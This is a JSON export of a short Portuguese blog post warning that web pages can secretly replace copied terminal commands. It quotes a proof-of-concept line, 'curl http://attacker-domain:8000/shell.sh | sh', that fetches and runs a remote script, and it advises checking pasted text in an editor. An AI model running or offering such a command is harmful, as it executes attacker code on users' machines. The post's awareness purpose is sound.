{"id":2076,"date":"2022-01-07T12:04:21","date_gmt":"2022-01-07T15:04:21","guid":{"rendered":"https:\/\/categoriaoutros.com.br\/?p=2076"},"modified":"2022-01-28T09:33:40","modified_gmt":"2022-01-28T12:33:40","slug":"nao-copie-e-cole-comandos-de-sites-vocce-pode-ser-hackeado","status":"publish","type":"post","link":"https:\/\/categoriaoutros.com.br\/?p=2076","title":{"rendered":"N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado!"},"content":{"rendered":"\n<p>O simples ato de copiar e colar comandos diretamente num terminal do linux, cmd ou powershell do Windows. pode ser perigoso!<\/p>\n\n\n\n<p>Uma p\u00e1gina pode disfar\u00e7adamente substituir o texto copiado, ou seja, ao copiar um comando outro acabaria sendo enviado para a \u00e1rea de transfer\u00eancia. A \u00e1rea de transfer\u00eancia \u00e9 um local tempor\u00e1rio na mem\u00f3ria onde ficam os textos copiados.<\/p>\n\n\n\n<p>Voc\u00ea poderia pensar que a troca s\u00f3 traria preju\u00edzo ao ter colado o texto e teclado enter.  Mas \u00e9 pior que isso, apenas o ato de colar j\u00e1 pode disparar\/executar o comando.<\/p>\n\n\n\n<p>Como simples <a href=\"https:\/\/categoriaoutros.com.br\/?p=1525\">prova de conceito(poc)<\/a>, Gabriel Friedlander, fundador de uma plataforma de treinamento chamada de Security Awareness, em seu blog pede para fazermos um <a href=\"https:\/\/www.wizer-training.com\/blog\/copy-paste\">teste<\/a> <a href=\"https:\/\/www.wizer-training.com\/blog\/copy-paste\">copiando e colando o texto abaixo<\/a>, um simples &#8220;<em>sudo apt update<\/em>&#8220;:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/www.bleepstatic.com\/images\/news\/u\/1164866\/2022\/January-2022\/copy-paste-js-warning\/poc-demo-copy-paste.jpeg\" alt=\"\"\/><\/figure>\n\n\n\n<p>Ao colar temos uma surpresa:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">curl http:\/\/attacker-domain:8000\/shell.sh | sh<\/pre>\n\n\n\n<p>O final do comando acima faz com que ele seja executado assim que colado. Essa linha executa um script feito em javascript que troca o texto copiado por outro<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/www.bleepstatic.com\/images\/news\/u\/1164866\/2022\/January-2022\/copy-paste-js-warning\/poc-code-js.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Alternativa<\/h2>\n\n\n\n<p>Como alternativa podemos colar o texto em um  bloco de notas ou editor similar, analisar e ap\u00f3s isso colar no terminal.<\/p>\n\n\n\n<p>Fontes: <a href=\"https:\/\/www.bleepingcomputer.com\/news\/security\/dont-copy-paste-commands-from-webpages-you-can-get-hacked\/\">bleepingcomputer<\/a>, <a href=\"https:\/\/www.wizer-training.com\/blog\/copy-paste\">wizer-training<\/a>, <\/p>\n","protected":false},"excerpt":{"rendered":"<p>O simples ato de copiar e colar comandos diretamente num terminal do linux, cmd ou powershell do Windows. pode ser perigoso! Uma p\u00e1gina pode disfar\u00e7adamente substituir o texto copiado, ou seja, ao copiar um comando outro acabaria sendo enviado para a \u00e1rea de transfer\u00eancia. A \u00e1rea de transfer\u00eancia \u00e9 um local tempor\u00e1rio na mem\u00f3ria onde&#8230;<\/p>\n<p class=\"more-link-wrap\"><a href=\"https:\/\/categoriaoutros.com.br\/?p=2076\" class=\"more-link\">Read More<span class=\"screen-reader-text\"> &ldquo;N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado!&rdquo;<\/span> &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[131,16],"tags":[761,760,762],"class_list":["post-2076","post","type-post","status-publish","format-standard","hentry","category-dicas-e-termos","category-informatica-dicas","tag-colar","tag-copiar","tag-perigo"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v21.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado! - Categoria Outros<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/categoriaoutros.com.br\/?p=2076\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado! - Categoria Outros\" \/>\n<meta property=\"og:description\" content=\"O simples ato de copiar e colar comandos diretamente num terminal do linux, cmd ou powershell do Windows. pode ser perigoso! Uma p\u00e1gina pode disfar\u00e7adamente substituir o texto copiado, ou seja, ao copiar um comando outro acabaria sendo enviado para a \u00e1rea de transfer\u00eancia. A \u00e1rea de transfer\u00eancia \u00e9 um local tempor\u00e1rio na mem\u00f3ria onde...Read More &ldquo;N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado!&rdquo; &raquo;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/categoriaoutros.com.br\/?p=2076\" \/>\n<meta property=\"og:site_name\" content=\"Categoria Outros\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/categoriaoutros\" \/>\n<meta property=\"article:published_time\" content=\"2022-01-07T15:04:21+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-01-28T12:33:40+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.bleepstatic.com\/images\/news\/u\/1164866\/2022\/January-2022\/copy-paste-js-warning\/poc-demo-copy-paste.jpeg\" \/>\n<meta name=\"author\" content=\"Categoria: Outros\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@CategoriaOutros\" \/>\n<meta name=\"twitter:site\" content=\"@CategoriaOutros\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Categoria: Outros\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. tempo de leitura\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minuto\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/categoriaoutros.com.br\/?p=2076#article\",\"isPartOf\":{\"@id\":\"https:\/\/categoriaoutros.com.br\/?p=2076\"},\"author\":{\"name\":\"Categoria: Outros\",\"@id\":\"https:\/\/categoriaoutros.com.br\/#\/schema\/person\/ba0f432708449436912bd6736864bb40\"},\"headline\":\"N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado!\",\"datePublished\":\"2022-01-07T15:04:21+00:00\",\"dateModified\":\"2022-01-28T12:33:40+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/categoriaoutros.com.br\/?p=2076\"},\"wordCount\":206,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/categoriaoutros.com.br\/#organization\"},\"keywords\":[\"colar\",\"copiar\",\"perigo\"],\"articleSection\":[\"Dicas e Termos\",\"Inform\u00e1tica\"],\"inLanguage\":\"pt-BR\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/categoriaoutros.com.br\/?p=2076#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/categoriaoutros.com.br\/?p=2076\",\"url\":\"https:\/\/categoriaoutros.com.br\/?p=2076\",\"name\":\"N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado! - Categoria Outros\",\"isPartOf\":{\"@id\":\"https:\/\/categoriaoutros.com.br\/#website\"},\"datePublished\":\"2022-01-07T15:04:21+00:00\",\"dateModified\":\"2022-01-28T12:33:40+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/categoriaoutros.com.br\/?p=2076#breadcrumb\"},\"inLanguage\":\"pt-BR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/categoriaoutros.com.br\/?p=2076\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/categoriaoutros.com.br\/?p=2076#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"In\u00edcio\",\"item\":\"https:\/\/categoriaoutros.com.br\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/categoriaoutros.com.br\/#website\",\"url\":\"https:\/\/categoriaoutros.com.br\/\",\"name\":\"Categoria Outros\",\"description\":\"Assuntos Diversos\",\"publisher\":{\"@id\":\"https:\/\/categoriaoutros.com.br\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/categoriaoutros.com.br\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pt-BR\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/categoriaoutros.com.br\/#organization\",\"name\":\"Categoria Outros\",\"alternateName\":\"Categoria Outros\",\"url\":\"https:\/\/categoriaoutros.com.br\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-BR\",\"@id\":\"https:\/\/categoriaoutros.com.br\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/categoriaoutros.com.br\/wp-content\/uploads\/2023\/08\/categoriaoutros-logo.jpg\",\"contentUrl\":\"https:\/\/categoriaoutros.com.br\/wp-content\/uploads\/2023\/08\/categoriaoutros-logo.jpg\",\"width\":400,\"height\":400,\"caption\":\"Categoria Outros\"},\"image\":{\"@id\":\"https:\/\/categoriaoutros.com.br\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/categoriaoutros\",\"https:\/\/twitter.com\/CategoriaOutros\",\"https:\/\/br.pinterest.com\/CategoriaOutros\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/categoriaoutros.com.br\/#\/schema\/person\/ba0f432708449436912bd6736864bb40\",\"name\":\"Categoria: Outros\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-BR\",\"@id\":\"https:\/\/categoriaoutros.com.br\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ed97775f0ab50750ed638ed3417ea85e19ced2c648da167a108e393ae5fd9e33?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ed97775f0ab50750ed638ed3417ea85e19ced2c648da167a108e393ae5fd9e33?s=96&d=mm&r=g\",\"caption\":\"Categoria: Outros\"},\"sameAs\":[\"http:\/\/categoriaoutros.com.br\"],\"url\":\"https:\/\/categoriaoutros.com.br\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado! - Categoria Outros","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/categoriaoutros.com.br\/?p=2076","og_locale":"pt_BR","og_type":"article","og_title":"N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado! - Categoria Outros","og_description":"O simples ato de copiar e colar comandos diretamente num terminal do linux, cmd ou powershell do Windows. pode ser perigoso! Uma p\u00e1gina pode disfar\u00e7adamente substituir o texto copiado, ou seja, ao copiar um comando outro acabaria sendo enviado para a \u00e1rea de transfer\u00eancia. A \u00e1rea de transfer\u00eancia \u00e9 um local tempor\u00e1rio na mem\u00f3ria onde...Read More &ldquo;N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado!&rdquo; &raquo;","og_url":"https:\/\/categoriaoutros.com.br\/?p=2076","og_site_name":"Categoria Outros","article_publisher":"https:\/\/www.facebook.com\/categoriaoutros","article_published_time":"2022-01-07T15:04:21+00:00","article_modified_time":"2022-01-28T12:33:40+00:00","og_image":[{"url":"https:\/\/www.bleepstatic.com\/images\/news\/u\/1164866\/2022\/January-2022\/copy-paste-js-warning\/poc-demo-copy-paste.jpeg"}],"author":"Categoria: Outros","twitter_card":"summary_large_image","twitter_creator":"@CategoriaOutros","twitter_site":"@CategoriaOutros","twitter_misc":{"Escrito por":"Categoria: Outros","Est. tempo de leitura":"1 minuto"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/categoriaoutros.com.br\/?p=2076#article","isPartOf":{"@id":"https:\/\/categoriaoutros.com.br\/?p=2076"},"author":{"name":"Categoria: Outros","@id":"https:\/\/categoriaoutros.com.br\/#\/schema\/person\/ba0f432708449436912bd6736864bb40"},"headline":"N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado!","datePublished":"2022-01-07T15:04:21+00:00","dateModified":"2022-01-28T12:33:40+00:00","mainEntityOfPage":{"@id":"https:\/\/categoriaoutros.com.br\/?p=2076"},"wordCount":206,"commentCount":0,"publisher":{"@id":"https:\/\/categoriaoutros.com.br\/#organization"},"keywords":["colar","copiar","perigo"],"articleSection":["Dicas e Termos","Inform\u00e1tica"],"inLanguage":"pt-BR","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/categoriaoutros.com.br\/?p=2076#respond"]}]},{"@type":"WebPage","@id":"https:\/\/categoriaoutros.com.br\/?p=2076","url":"https:\/\/categoriaoutros.com.br\/?p=2076","name":"N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado! - Categoria Outros","isPartOf":{"@id":"https:\/\/categoriaoutros.com.br\/#website"},"datePublished":"2022-01-07T15:04:21+00:00","dateModified":"2022-01-28T12:33:40+00:00","breadcrumb":{"@id":"https:\/\/categoriaoutros.com.br\/?p=2076#breadcrumb"},"inLanguage":"pt-BR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/categoriaoutros.com.br\/?p=2076"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/categoriaoutros.com.br\/?p=2076#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"In\u00edcio","item":"https:\/\/categoriaoutros.com.br\/"},{"@type":"ListItem","position":2,"name":"N\u00e3o Copie e Cole Comandos de Sites, Voc\u00ea Pode Ser Hackeado!"}]},{"@type":"WebSite","@id":"https:\/\/categoriaoutros.com.br\/#website","url":"https:\/\/categoriaoutros.com.br\/","name":"Categoria Outros","description":"Assuntos Diversos","publisher":{"@id":"https:\/\/categoriaoutros.com.br\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/categoriaoutros.com.br\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pt-BR"},{"@type":"Organization","@id":"https:\/\/categoriaoutros.com.br\/#organization","name":"Categoria Outros","alternateName":"Categoria Outros","url":"https:\/\/categoriaoutros.com.br\/","logo":{"@type":"ImageObject","inLanguage":"pt-BR","@id":"https:\/\/categoriaoutros.com.br\/#\/schema\/logo\/image\/","url":"https:\/\/categoriaoutros.com.br\/wp-content\/uploads\/2023\/08\/categoriaoutros-logo.jpg","contentUrl":"https:\/\/categoriaoutros.com.br\/wp-content\/uploads\/2023\/08\/categoriaoutros-logo.jpg","width":400,"height":400,"caption":"Categoria Outros"},"image":{"@id":"https:\/\/categoriaoutros.com.br\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/categoriaoutros","https:\/\/twitter.com\/CategoriaOutros","https:\/\/br.pinterest.com\/CategoriaOutros\/"]},{"@type":"Person","@id":"https:\/\/categoriaoutros.com.br\/#\/schema\/person\/ba0f432708449436912bd6736864bb40","name":"Categoria: Outros","image":{"@type":"ImageObject","inLanguage":"pt-BR","@id":"https:\/\/categoriaoutros.com.br\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ed97775f0ab50750ed638ed3417ea85e19ced2c648da167a108e393ae5fd9e33?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ed97775f0ab50750ed638ed3417ea85e19ced2c648da167a108e393ae5fd9e33?s=96&d=mm&r=g","caption":"Categoria: Outros"},"sameAs":["http:\/\/categoriaoutros.com.br"],"url":"https:\/\/categoriaoutros.com.br\/?author=1"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/categoriaoutros.com.br\/index.php?rest_route=\/wp\/v2\/posts\/2076","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/categoriaoutros.com.br\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/categoriaoutros.com.br\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/categoriaoutros.com.br\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/categoriaoutros.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2076"}],"version-history":[{"count":7,"href":"https:\/\/categoriaoutros.com.br\/index.php?rest_route=\/wp\/v2\/posts\/2076\/revisions"}],"predecessor-version":[{"id":2342,"href":"https:\/\/categoriaoutros.com.br\/index.php?rest_route=\/wp\/v2\/posts\/2076\/revisions\/2342"}],"wp:attachment":[{"href":"https:\/\/categoriaoutros.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2076"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/categoriaoutros.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2076"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/categoriaoutros.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2076"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}